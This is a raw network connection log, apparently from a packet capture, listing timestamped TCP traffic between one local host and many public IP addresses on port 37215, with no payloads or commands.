Aug 17, 2024 01:01:53.618829966 CEST	46802	37215	192.168.2.13	156.253.192.21
Aug 17, 2024 01:01:53.618849993 CEST	46804	37215	192.168.2.13	197.84.229.66
Aug 17, 2024 01:01:53.618849993 CEST	33120	37215	192.168.2.13	156.8.41.111
Aug 17, 2024 01:01:53.618866920 CEST	47246	37215	192.168.2.13	156.95.81.195
Aug 17, 2024 01:01:53.618875980 CEST	57826	37215	192.168.2.13	197.62.104.162
Aug 17, 2024 01:01:53.618877888 CEST	38094	37215	192.168.2.13	41.239.56.153
Aug 17, 2024 01:01:53.618902922 CEST	58620	37215	192.168.2.13	156.114.139.111
Aug 17, 2024 01:01:53.618915081 CEST	37215	43510	197.178.191.46	192.168.2.13
Aug 17, 2024 01:01:53.618918896 CEST	37215	47066	197.29.241.16	192.168.2.13
Aug 17, 2024 01:01:53.618921995 CEST	60652	37215	192.168.2.13	156.80.95.191
Aug 17, 2024 01:01:53.618923903 CEST	37215	38932	41.186.130.207	192.168.2.13
Aug 17, 2024 01:01:53.618927002 CEST	43824	37215	192.168.2.13	41.157.166.194
Aug 17, 2024 01:01:53.618927956 CEST	37215	52518	41.222.83.219	192.168.2.13
Aug 17, 2024 01:01:53.618932962 CEST	37215	59058	197.215.8.61	192.168.2.13
Aug 17, 2024 01:01:53.618940115 CEST	47066	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:53.618942022 CEST	43510	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:53.618951082 CEST	38932	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:53.618954897 CEST	52286	37215	192.168.2.13	41.85.178.55
Aug 17, 2024 01:01:53.618956089 CEST	38636	37215	192.168.2.13	197.197.236.147
Aug 17, 2024 01:01:53.618958950 CEST	52518	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:53.618971109 CEST	42410	37215	192.168.2.13	156.217.124.220
Aug 17, 2024 01:01:53.618976116 CEST	59058	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:53.618976116 CEST	36454	37215	192.168.2.13	197.45.32.190
Aug 17, 2024 01:01:53.618980885 CEST	46400	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.618997097 CEST	39842	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.619003057 CEST	44780	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.619013071 CEST	33738	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.619024038 CEST	41552	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.619046926 CEST	41866	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.619057894 CEST	35964	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.619071007 CEST	32786	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.619079113 CEST	37380	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.619090080 CEST	49872	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.619101048 CEST	43786	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.619110107 CEST	32930	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.619110107 CEST	57180	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.619132996 CEST	45052	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.619143009 CEST	46774	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.619143009 CEST	59742	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.619154930 CEST	53090	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.619173050 CEST	37215	41942	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:53.619173050 CEST	44078	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.619178057 CEST	37215	54950	156.235.58.38	192.168.2.13
Aug 17, 2024 01:01:53.619179010 CEST	38700	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.619183064 CEST	37215	57232	156.42.67.215	192.168.2.13
Aug 17, 2024 01:01:53.619187117 CEST	37215	58956	41.84.246.252	192.168.2.13
Aug 17, 2024 01:01:53.619191885 CEST	37215	33956	197.151.50.43	192.168.2.13
Aug 17, 2024 01:01:53.619193077 CEST	41808	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.619195938 CEST	37215	60316	41.21.246.26	192.168.2.13
Aug 17, 2024 01:01:53.619200945 CEST	37215	49974	156.75.186.246	192.168.2.13
Aug 17, 2024 01:01:53.619205952 CEST	37215	45328	197.139.83.220	192.168.2.13
Aug 17, 2024 01:01:53.619205952 CEST	41942	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:53.619206905 CEST	54950	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:53.619209051 CEST	37215	33730	156.222.5.107	192.168.2.13
Aug 17, 2024 01:01:53.619215012 CEST	37215	33852	156.75.242.255	192.168.2.13
Aug 17, 2024 01:01:53.619220018 CEST	33956	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:53.619220018 CEST	57232	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:53.619220018 CEST	58956	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:53.619230032 CEST	49974	37215	192.168.2.13	156.75.186.246
Aug 17, 2024 01:01:53.619237900 CEST	37215	39916	41.220.205.135	192.168.2.13
Aug 17, 2024 01:01:53.619237900 CEST	33730	37215	192.168.2.13	156.222.5.107
Aug 17, 2024 01:01:53.619241953 CEST	33852	37215	192.168.2.13	156.75.242.255
Aug 17, 2024 01:01:53.619246006 CEST	37215	44384	197.4.146.79	192.168.2.13
Aug 17, 2024 01:01:53.619250059 CEST	34484	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.619251013 CEST	37215	33438	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:53.619255066 CEST	37215	57388	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:53.619259119 CEST	37215	44358	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:53.619261026 CEST	48804	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.619267941 CEST	44384	37215	192.168.2.13	197.4.146.79
Aug 17, 2024 01:01:53.619271040 CEST	37215	45312	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:53.619276047 CEST	37215	52742	197.214.139.137	192.168.2.13
Aug 17, 2024 01:01:53.619277000 CEST	33438	37215	192.168.2.13	156.122.150.249
Aug 17, 2024 01:01:53.619281054 CEST	37215	34424	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:53.619283915 CEST	37215	43250	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:53.619291067 CEST	57388	37215	192.168.2.13	156.211.231.190
Aug 17, 2024 01:01:53.619291067 CEST	44358	37215	192.168.2.13	197.48.31.41
Aug 17, 2024 01:01:53.619292021 CEST	39916	37215	192.168.2.13	41.220.205.135
Aug 17, 2024 01:01:53.619294882 CEST	37215	56782	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:53.619298935 CEST	45312	37215	192.168.2.13	41.219.110.69
Aug 17, 2024 01:01:53.619301081 CEST	37215	32972	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:53.619301081 CEST	60316	37215	192.168.2.13	41.21.246.26
Aug 17, 2024 01:01:53.619302034 CEST	34424	37215	192.168.2.13	41.233.122.47
Aug 17, 2024 01:01:53.619302034 CEST	52742	37215	192.168.2.13	197.214.139.137
Aug 17, 2024 01:01:53.619306087 CEST	37215	43668	197.184.232.244	192.168.2.13
Aug 17, 2024 01:01:53.619316101 CEST	43250	37215	192.168.2.13	41.105.187.177
Aug 17, 2024 01:01:53.619317055 CEST	37215	44974	197.159.159.96	192.168.2.13
Aug 17, 2024 01:01:53.619322062 CEST	37215	33132	41.44.188.7	192.168.2.13
Aug 17, 2024 01:01:53.619330883 CEST	32972	37215	192.168.2.13	156.105.254.196
Aug 17, 2024 01:01:53.619332075 CEST	37215	57014	156.21.81.137	192.168.2.13
Aug 17, 2024 01:01:53.619334936 CEST	43668	37215	192.168.2.13	197.184.232.244
Aug 17, 2024 01:01:53.619335890 CEST	37215	36106	41.203.221.60	192.168.2.13
Aug 17, 2024 01:01:53.619340897 CEST	50640	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.619344950 CEST	37215	37422	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:53.619350910 CEST	37215	52966	41.84.217.81	192.168.2.13
Aug 17, 2024 01:01:53.619352102 CEST	45328	37215	192.168.2.13	197.139.83.220
Aug 17, 2024 01:01:53.619352102 CEST	44974	37215	192.168.2.13	197.159.159.96
Aug 17, 2024 01:01:53.619352102 CEST	33132	37215	192.168.2.13	41.44.188.7
Aug 17, 2024 01:01:53.619360924 CEST	37215	40742	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:53.619360924 CEST	36106	37215	192.168.2.13	41.203.221.60
Aug 17, 2024 01:01:53.619365931 CEST	37215	57888	197.55.107.244	192.168.2.13
Aug 17, 2024 01:01:53.619374990 CEST	37422	37215	192.168.2.13	197.93.59.225
Aug 17, 2024 01:01:53.619375944 CEST	37215	58030	197.93.165.158	192.168.2.13
Aug 17, 2024 01:01:53.619378090 CEST	32964	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.619386911 CEST	52966	37215	192.168.2.13	41.84.217.81
Aug 17, 2024 01:01:53.619394064 CEST	57014	37215	192.168.2.13	156.21.81.137
Aug 17, 2024 01:01:53.619395018 CEST	40742	37215	192.168.2.13	156.81.112.77
Aug 17, 2024 01:01:53.619394064 CEST	58030	37215	192.168.2.13	197.93.165.158
Aug 17, 2024 01:01:53.619394064 CEST	57888	37215	192.168.2.13	197.55.107.244
Aug 17, 2024 01:01:53.619405985 CEST	37215	33782	41.75.226.237	192.168.2.13
Aug 17, 2024 01:01:53.619410992 CEST	52302	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.619411945 CEST	37215	54064	197.166.118.19	192.168.2.13
Aug 17, 2024 01:01:53.619417906 CEST	60826	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.619421005 CEST	37215	53896	156.12.134.196	192.168.2.13
Aug 17, 2024 01:01:53.619426012 CEST	37215	54502	41.135.202.113	192.168.2.13
Aug 17, 2024 01:01:53.619426966 CEST	39218	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.619430065 CEST	37215	59852	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:53.619437933 CEST	54064	37215	192.168.2.13	197.166.118.19
Aug 17, 2024 01:01:53.619437933 CEST	33782	37215	192.168.2.13	41.75.226.237
Aug 17, 2024 01:01:53.619440079 CEST	37215	38974	156.141.40.131	192.168.2.13
Aug 17, 2024 01:01:53.619448900 CEST	53896	37215	192.168.2.13	156.12.134.196
Aug 17, 2024 01:01:53.619457006 CEST	54502	37215	192.168.2.13	41.135.202.113
Aug 17, 2024 01:01:53.619461060 CEST	59852	37215	192.168.2.13	156.41.196.1
Aug 17, 2024 01:01:53.619472980 CEST	56782	37215	192.168.2.13	156.37.116.205
Aug 17, 2024 01:01:53.619472980 CEST	38974	37215	192.168.2.13	156.141.40.131
Aug 17, 2024 01:01:53.619482994 CEST	38110	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.619494915 CEST	37215	42958	197.8.112.23	192.168.2.13
Aug 17, 2024 01:01:53.619502068 CEST	37215	48762	41.205.24.112	192.168.2.13
Aug 17, 2024 01:01:53.619505882 CEST	58126	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.619510889 CEST	37215	44706	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:53.619525909 CEST	40864	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.619525909 CEST	48762	37215	192.168.2.13	41.205.24.112
Aug 17, 2024 01:01:53.619529009 CEST	36902	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.619529009 CEST	42958	37215	192.168.2.13	197.8.112.23
Aug 17, 2024 01:01:53.619541883 CEST	37215	60918	197.157.245.225	192.168.2.13
Aug 17, 2024 01:01:53.619546890 CEST	42498	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.619546890 CEST	43894	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.619554043 CEST	55904	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.619565964 CEST	60918	37215	192.168.2.13	197.157.245.225
Aug 17, 2024 01:01:53.619589090 CEST	41946	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.619606972 CEST	33852	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.619606972 CEST	46466	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.619632006 CEST	43788	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.619635105 CEST	37215	43172	156.216.155.74	192.168.2.13
Aug 17, 2024 01:01:53.619635105 CEST	44706	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:53.619635105 CEST	47280	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.619641066 CEST	37215	37668	156.159.42.226	192.168.2.13
Aug 17, 2024 01:01:53.619646072 CEST	37215	49844	41.229.132.89	192.168.2.13
Aug 17, 2024 01:01:53.619648933 CEST	37215	55990	41.253.43.92	192.168.2.13
Aug 17, 2024 01:01:53.619653940 CEST	37215	39568	197.2.79.146	192.168.2.13
Aug 17, 2024 01:01:53.619653940 CEST	41570	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.619653940 CEST	37956	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.619659901 CEST	37215	46996	156.220.93.113	192.168.2.13
Aug 17, 2024 01:01:53.619662046 CEST	37668	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:53.619663954 CEST	37215	58476	197.232.93.152	192.168.2.13
Aug 17, 2024 01:01:53.619669914 CEST	37215	43728	156.229.96.143	192.168.2.13
Aug 17, 2024 01:01:53.619672060 CEST	43172	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:53.619672060 CEST	49844	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:53.619672060 CEST	55990	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:53.619676113 CEST	37215	49072	156.161.17.168	192.168.2.13
Aug 17, 2024 01:01:53.619679928 CEST	37215	35208	156.244.221.219	192.168.2.13
Aug 17, 2024 01:01:53.619682074 CEST	39568	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:53.619685888 CEST	37215	44430	156.248.140.39	192.168.2.13
Aug 17, 2024 01:01:53.619692087 CEST	37215	44276	41.229.137.21	192.168.2.13
Aug 17, 2024 01:01:53.619695902 CEST	37215	53650	41.36.86.252	192.168.2.13
Aug 17, 2024 01:01:53.619699955 CEST	37215	38028	41.13.61.27	192.168.2.13
Aug 17, 2024 01:01:53.619700909 CEST	43728	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:53.619704008 CEST	46996	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:53.619704008 CEST	49072	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:53.619709015 CEST	37215	43772	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:53.619712114 CEST	58476	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:53.619712114 CEST	35208	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:53.619725943 CEST	44430	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:53.619726896 CEST	38028	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:53.619736910 CEST	45712	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.619748116 CEST	43772	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:53.619749069 CEST	53650	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:53.619749069 CEST	44276	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:53.619750023 CEST	37215	53074	156.125.168.6	192.168.2.13
Aug 17, 2024 01:01:53.619755030 CEST	37215	50298	156.76.37.32	192.168.2.13
Aug 17, 2024 01:01:53.619757891 CEST	60434	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.619759083 CEST	37215	43346	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:53.619757891 CEST	46974	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.619776964 CEST	37474	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.619784117 CEST	53074	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:53.619784117 CEST	50298	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:53.619784117 CEST	43346	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:53.619795084 CEST	37215	44482	41.41.8.19	192.168.2.13
Aug 17, 2024 01:01:53.619800091 CEST	37215	52242	41.107.6.35	192.168.2.13
Aug 17, 2024 01:01:53.619808912 CEST	37215	35498	156.92.98.192	192.168.2.13
Aug 17, 2024 01:01:53.619810104 CEST	43848	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.619813919 CEST	37215	56488	197.182.51.118	192.168.2.13
Aug 17, 2024 01:01:53.619822979 CEST	37215	39406	41.246.110.105	192.168.2.13
Aug 17, 2024 01:01:53.619827032 CEST	44482	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:53.619827986 CEST	37215	58770	41.143.146.230	192.168.2.13
Aug 17, 2024 01:01:53.619832993 CEST	37215	37296	156.144.162.99	192.168.2.13
Aug 17, 2024 01:01:53.619834900 CEST	52242	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:53.619834900 CEST	35498	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:53.619837046 CEST	37215	40962	41.23.173.105	192.168.2.13
Aug 17, 2024 01:01:53.619841099 CEST	37215	46056	41.177.53.203	192.168.2.13
Aug 17, 2024 01:01:53.619843006 CEST	56488	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:53.619844913 CEST	37215	44290	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:53.619848967 CEST	58770	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:53.619849920 CEST	37215	35560	197.247.114.223	192.168.2.13
Aug 17, 2024 01:01:53.619853973 CEST	37215	51900	156.80.128.187	192.168.2.13
Aug 17, 2024 01:01:53.619854927 CEST	39406	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:53.619858027 CEST	60728	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.619858027 CEST	37296	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:53.619864941 CEST	46056	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:53.619864941 CEST	37215	55634	156.19.191.121	192.168.2.13
Aug 17, 2024 01:01:53.619868040 CEST	40962	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:53.619868994 CEST	44290	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:53.619870901 CEST	37215	54116	197.243.143.226	192.168.2.13
Aug 17, 2024 01:01:53.619872093 CEST	57596	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.619874954 CEST	37215	55478	197.122.70.151	192.168.2.13
Aug 17, 2024 01:01:53.619879961 CEST	51900	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:53.619891882 CEST	35560	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:53.619891882 CEST	55634	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:53.619901896 CEST	54116	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:53.619901896 CEST	55478	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:53.619914055 CEST	41294	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.619925022 CEST	54114	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.619937897 CEST	42626	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.619947910 CEST	59952	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.619960070 CEST	35110	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.619982004 CEST	51214	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.619995117 CEST	46912	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.619996071 CEST	39324	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.620006084 CEST	41910	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.620007992 CEST	37215	35212	156.234.12.197	192.168.2.13
Aug 17, 2024 01:01:53.620012999 CEST	37215	55754	156.52.107.115	192.168.2.13
Aug 17, 2024 01:01:53.620018005 CEST	48036	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.620022058 CEST	37215	59656	41.155.139.184	192.168.2.13
Aug 17, 2024 01:01:53.620027065 CEST	37215	57020	156.15.58.220	192.168.2.13
Aug 17, 2024 01:01:53.620031118 CEST	59990	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.620032072 CEST	37215	40312	41.189.88.13	192.168.2.13
Aug 17, 2024 01:01:53.620038986 CEST	37215	52188	156.14.140.227	192.168.2.13
Aug 17, 2024 01:01:53.620039940 CEST	35212	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:53.620045900 CEST	37215	53544	156.188.180.172	192.168.2.13
Aug 17, 2024 01:01:53.620045900 CEST	55754	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:53.620052099 CEST	37215	49006	156.123.207.66	192.168.2.13
Aug 17, 2024 01:01:53.620054007 CEST	59656	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:53.620054960 CEST	57020	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:53.620055914 CEST	37215	46898	41.129.214.78	192.168.2.13
Aug 17, 2024 01:01:53.620060921 CEST	37215	58044	41.219.194.127	192.168.2.13
Aug 17, 2024 01:01:53.620064974 CEST	37215	35644	41.104.120.169	192.168.2.13
Aug 17, 2024 01:01:53.620069027 CEST	37215	41752	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:53.620069027 CEST	52188	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:53.620071888 CEST	37215	44650	41.0.50.58	192.168.2.13
Aug 17, 2024 01:01:53.620074987 CEST	49006	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:53.620075941 CEST	37215	36174	197.226.173.69	192.168.2.13
Aug 17, 2024 01:01:53.620080948 CEST	37215	38288	41.238.114.64	192.168.2.13
Aug 17, 2024 01:01:53.620080948 CEST	53544	37215	192.168.2.13	156.188.180.172
Aug 17, 2024 01:01:53.620083094 CEST	58044	37215	192.168.2.13	41.219.194.127
Aug 17, 2024 01:01:53.620085955 CEST	37215	59256	197.109.202.160	192.168.2.13
Aug 17, 2024 01:01:53.620085955 CEST	35644	37215	192.168.2.13	41.104.120.169
Aug 17, 2024 01:01:53.620088100 CEST	41752	37215	192.168.2.13	197.214.106.46
Aug 17, 2024 01:01:53.620091915 CEST	46898	37215	192.168.2.13	41.129.214.78
Aug 17, 2024 01:01:53.620094061 CEST	36174	37215	192.168.2.13	197.226.173.69
Aug 17, 2024 01:01:53.620095968 CEST	44650	37215	192.168.2.13	41.0.50.58
Aug 17, 2024 01:01:53.620101929 CEST	38288	37215	192.168.2.13	41.238.114.64
Aug 17, 2024 01:01:53.620102882 CEST	40312	37215	192.168.2.13	41.189.88.13
Aug 17, 2024 01:01:53.620105028 CEST	36224	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.620110035 CEST	59256	37215	192.168.2.13	197.109.202.160
Aug 17, 2024 01:01:53.620176077 CEST	44780	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.620182991 CEST	49240	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.620208025 CEST	38248	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.620208025 CEST	50964	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.620208025 CEST	39096	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.620218039 CEST	47518	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.620255947 CEST	32778	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.620255947 CEST	49124	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.620269060 CEST	49020	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.620274067 CEST	37215	57560	41.28.105.96	192.168.2.13
Aug 17, 2024 01:01:53.620279074 CEST	37215	58062	156.250.143.170	192.168.2.13
Aug 17, 2024 01:01:53.620285034 CEST	43106	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.620287895 CEST	57782	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.620287895 CEST	56588	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.620290041 CEST	37215	60604	156.36.217.61	192.168.2.13
Aug 17, 2024 01:01:53.620295048 CEST	39542	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.620296001 CEST	37215	38090	41.114.6.13	192.168.2.13
Aug 17, 2024 01:01:53.620305061 CEST	57560	37215	192.168.2.13	41.28.105.96
Aug 17, 2024 01:01:53.620326996 CEST	58062	37215	192.168.2.13	156.250.143.170
Aug 17, 2024 01:01:53.620333910 CEST	37468	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.620342016 CEST	53318	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.620351076 CEST	60604	37215	192.168.2.13	156.36.217.61
Aug 17, 2024 01:01:53.620351076 CEST	38678	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.620359898 CEST	42292	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.620368004 CEST	38090	37215	192.168.2.13	41.114.6.13
Aug 17, 2024 01:01:53.620368004 CEST	39166	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.620381117 CEST	55278	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.620385885 CEST	37215	57112	197.70.91.121	192.168.2.13
Aug 17, 2024 01:01:53.620390892 CEST	37215	50912	156.9.53.194	192.168.2.13
Aug 17, 2024 01:01:53.620404005 CEST	37215	44542	41.59.242.136	192.168.2.13
Aug 17, 2024 01:01:53.620405912 CEST	38090	37215	192.168.2.13	41.114.6.13
Aug 17, 2024 01:01:53.620418072 CEST	50912	37215	192.168.2.13	156.9.53.194
Aug 17, 2024 01:01:53.620419979 CEST	57112	37215	192.168.2.13	197.70.91.121
Aug 17, 2024 01:01:53.620420933 CEST	37215	58288	197.248.146.23	192.168.2.13
Aug 17, 2024 01:01:53.620428085 CEST	37215	34818	156.252.111.134	192.168.2.13
Aug 17, 2024 01:01:53.620429039 CEST	44542	37215	192.168.2.13	41.59.242.136
Aug 17, 2024 01:01:53.620429039 CEST	60604	37215	192.168.2.13	156.36.217.61
Aug 17, 2024 01:01:53.620433092 CEST	37215	34082	41.193.15.163	192.168.2.13
Aug 17, 2024 01:01:53.620436907 CEST	37215	38704	156.79.85.244	192.168.2.13
Aug 17, 2024 01:01:53.620443106 CEST	37215	48224	156.191.92.231	192.168.2.13
Aug 17, 2024 01:01:53.620445967 CEST	57560	37215	192.168.2.13	41.28.105.96
Aug 17, 2024 01:01:53.620446920 CEST	58288	37215	192.168.2.13	197.248.146.23
Aug 17, 2024 01:01:53.620448112 CEST	37215	33824	156.198.127.238	192.168.2.13
Aug 17, 2024 01:01:53.620457888 CEST	37215	57396	41.111.135.196	192.168.2.13
Aug 17, 2024 01:01:53.620460987 CEST	34818	37215	192.168.2.13	156.252.111.134
Aug 17, 2024 01:01:53.620460987 CEST	34082	37215	192.168.2.13	41.193.15.163
Aug 17, 2024 01:01:53.620462894 CEST	37215	51834	156.91.48.41	192.168.2.13
Aug 17, 2024 01:01:53.620465040 CEST	38704	37215	192.168.2.13	156.79.85.244
Aug 17, 2024 01:01:53.620467901 CEST	37215	37428	156.8.222.105	192.168.2.13
Aug 17, 2024 01:01:53.620474100 CEST	37215	59136	156.232.165.87	192.168.2.13
Aug 17, 2024 01:01:53.620477915 CEST	37215	44376	197.85.103.158	192.168.2.13
Aug 17, 2024 01:01:53.620486975 CEST	51834	37215	192.168.2.13	156.91.48.41
Aug 17, 2024 01:01:53.620490074 CEST	57396	37215	192.168.2.13	41.111.135.196
Aug 17, 2024 01:01:53.620498896 CEST	59136	37215	192.168.2.13	156.232.165.87
Aug 17, 2024 01:01:53.620498896 CEST	37428	37215	192.168.2.13	156.8.222.105
Aug 17, 2024 01:01:53.620500088 CEST	33824	37215	192.168.2.13	156.198.127.238
Aug 17, 2024 01:01:53.620500088 CEST	48224	37215	192.168.2.13	156.191.92.231
Aug 17, 2024 01:01:53.620507956 CEST	44376	37215	192.168.2.13	197.85.103.158
Aug 17, 2024 01:01:53.620515108 CEST	59256	37215	192.168.2.13	197.109.202.160
Aug 17, 2024 01:01:53.620523930 CEST	38288	37215	192.168.2.13	41.238.114.64
Aug 17, 2024 01:01:53.620532990 CEST	36174	37215	192.168.2.13	197.226.173.69
Aug 17, 2024 01:01:53.620542049 CEST	41752	37215	192.168.2.13	197.214.106.46
Aug 17, 2024 01:01:53.620546103 CEST	37215	56568	197.94.154.138	192.168.2.13
